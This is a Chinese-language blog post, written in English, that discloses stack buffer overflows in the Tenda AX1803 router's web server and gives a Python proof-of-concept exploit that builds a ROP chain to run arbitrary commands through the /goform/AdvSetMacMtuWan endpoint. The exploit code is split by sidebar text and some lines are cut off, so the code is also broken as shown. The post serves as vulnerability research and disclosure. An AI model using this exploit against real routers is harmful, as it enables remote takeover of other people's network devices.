L0g4n

路虽险，行则必至；事虽难，做则必成。

博客园 首页 新随笔 联系 订阅 管理

Tenda ax1803's stack overflow

Tenda ax1803's stack overflow

Setting up the environment

Create a br0 NIC:

```
sudo tunctl -t br0 -u root
sudo ifconfig br0 192.168.0.1/24
```

Copy qemu-arm-static to the corresponding directory on the filesystem and start the tdhttpd service:

```
sudo chroot . ./qemu-arm-static ./bin/tdhttpd
```

Stack overflow in sub_8C6C8

This stack overflow occurs in sub_8C6C8 function,the length of the wanSpeed variable is not checked accordingly.

```
int __fastcall sub_8C6C8(websRec *a1)
{
  const char *wanSpeed; // r0
  int v3; // r7
  const char *cloneType; // r0
  const char *mac; // r0
  const char *v6; // r0
  char v8[32]; // [sp+8h] [bp+0h] BYREF
  char s[32]; // [sp+28h] [bp+20h] BYREF
  char v10[32]; // [sp+48h] [bp+40h] BYREF
  char v11[32]; // [sp+68h] [bp+60h] BYREF
  char v12[32]; // [sp+88h] [bp+80h] BYREF
  char v13[32]; // [sp+A8h] [bp+A0h] BYREF

  memset(v8, 0, sizeof(v8));
  memset(s, 0, sizeof(s));
  memset(v10, 0, sizeof(v10));
  memset(v11, 0, sizeof(v11));
  memset(v12, 0, sizeof(v12));
  memset(v13, 0, sizeof(v13));
  GetValue("wan.speed", (int)v8);
  GetValue("wan.mac_type", (int)s);
  GetValue("wan.mac", (int)v10);
  wanSpeed = getValue(a1, "wanSpeed", (int)"0");
  strcpy(v11, wanSpeed);
```

The proof-of-concept code for the vulnerability is as follows:

```
import requests,sys
from pwn import *

url = sys.argv[1] + "/goform/AdvSetMacMtuWan"
cmd = sys.argv[2]

libc_base = 0xfef99000
gadget1 = 0xff08dcdc # mov r0, sp ; blx r3
gadget2 = 0xff01987c # mov r3, r4 ; mov r0, r3 ; pop {r4, pc}
system_addr = 0xfefd06c8

payload = 'a'*96 + p32(system_addr) + p32(0xdeadbeef)*6 + p32(gadget2)
payload += p32(0xdeadbeef) + p32(gadget1) + cmd
```

公告

昵称： Riv4ille
园龄： 2年8个月
粉丝： 12
关注： 14
+加关注

< 2022年11月

日	一	二	三	四
30	31	1	2	3
6	7	8	9	10
13	14	15	16	17
20	21	22	23	24
27	28	29	30	1
4	5	6	7	8

搜索

找找看
谷歌搜

常用链接

我的随笔
我的评论
我的参与
最新评论
我的标签

我的标签

二进制漏洞分析(4)

随笔分类

MIPS(2)
pwn(24)
Re(7)
Web(3)
漏洞分析(5)
漏洞挖掘(5)
密码学(1)
网络编程(1)

随笔档案

2022年11月(1)
2022年10月(2)
2022年9月(2)
2022年3月(1)
2021年12月(1)
2021年11月(2)

```
payload = "wan1.connecttype=2&wanMTU=&wanSpeed=%s&cloneType=0&mac=00:00:00:00:00:01&serviceNam
content_length = len(payload)
headers = {
    "Host":"192.168.0.1",
    "X-Requested-With":"XMLHttpRequest",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Ge
    "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
    "Origin":"http://192.168.0.1",
    "Referer":"http://192.168.0.1/main.html",
    "Content-Length":"%d"%content_length
}

r = requests.post(url,headers = headers,data = payload)
```

Two more vulnerability in the same function.

```
cloneType = getValue(a1, "cloneType", (int)"0");
strcpy(v12, cloneType);
mac = getValue(a1, "mac", (int)&byte_1EACC5);
strcpy(v13, mac);
```

The proof-of-concept code is no longer available, it is no different from the one given, the only difference is the offset in the stack.

分类: pwn, 漏洞挖掘

好文要顶 关注我 收藏该文

Riv4ille
粉丝 - 12 关注 - 14

0 0
+加关注

« 上一篇: Tenda ax1803 is vulnerable to a buffer overflow
» 下一篇: Tenda ax12 is vulnerable to a buffer overflow

posted @ 2022-09-18 02:38 Riv4ille 阅读(207) 评论(0) 编辑 收藏 举报

刷新评论 刷新页面 返回顶部

登录后才能查看或发表评论，立即 登录 或者 逛逛 博客园首页

【推荐】阿里云金秋云创季，云服务器2核2G低至49.68元/年

编辑推荐:
· 一步一图带你深入理解 Linux 物理内存管理
· 快速构建页面结构的 3D Visualization
· 技术管理之如何协调加班问题
· 新零售 SaaS 架构：多租户系统架构设计
· 用最少的代码模拟 gRPC 四种消息交换模式

阅读排行:
· 聊一聊如何截获 C# 程序产生的日志
· 好好的系统，为什么要分库分表?
· 群晖NAS搭建外网可访问的电子图书馆Calibre-Web
· .net core/5/6/7中WPF如何优雅的开始开发
· 使用c#的 async/await编写 长时间运行的基于代码的工作流的 持久任务框架

Copyright © 2022 Riv4ille
Powered by .NET 7.0 on Kubernetes

友链

一起学习的rookle师傅
Star大哥
B1ank：亲爱的misc爷和re爷
yk2er0

阅读排行榜

1. 从prctl函数开始学习沙箱规则(274
2. ubuntu安装qemu(2282)
3. MIPS汇编学习(1976)
4. PWN——uaf漏洞学习(1618)
5. 攻防世界misc——János-the-Ripp

评论排行榜

1. House_of_orange 学习小结(2)
2. 漏洞分析：CVE-2017-17215(1)
3. 漏洞分析：CVE 2021-3156(1)

推荐排行榜

1. 从prctl函数开始学习沙箱规则(2)
2. 漏洞分析：CVE-2017-17215(1)
3. 记一道比较简单的协议栈逆向题目(1
4. 漏洞分析：CVE 2021-3156(1)
5. PWN——uaf漏洞学习(1)

最新评论

1. Re:漏洞分析：CVE-2017-17215
好耶，又找到了

2. Re:漏洞分析：CVE 2021-3156
大神，虽然看不懂，但是貌似很厉害的
--灯

3. Re:House_of_orange 学习小结
学弟帮忙点个推荐啊，哈哈哈

4. Re:House_of_orange 学习小结
好耶,写的太详细了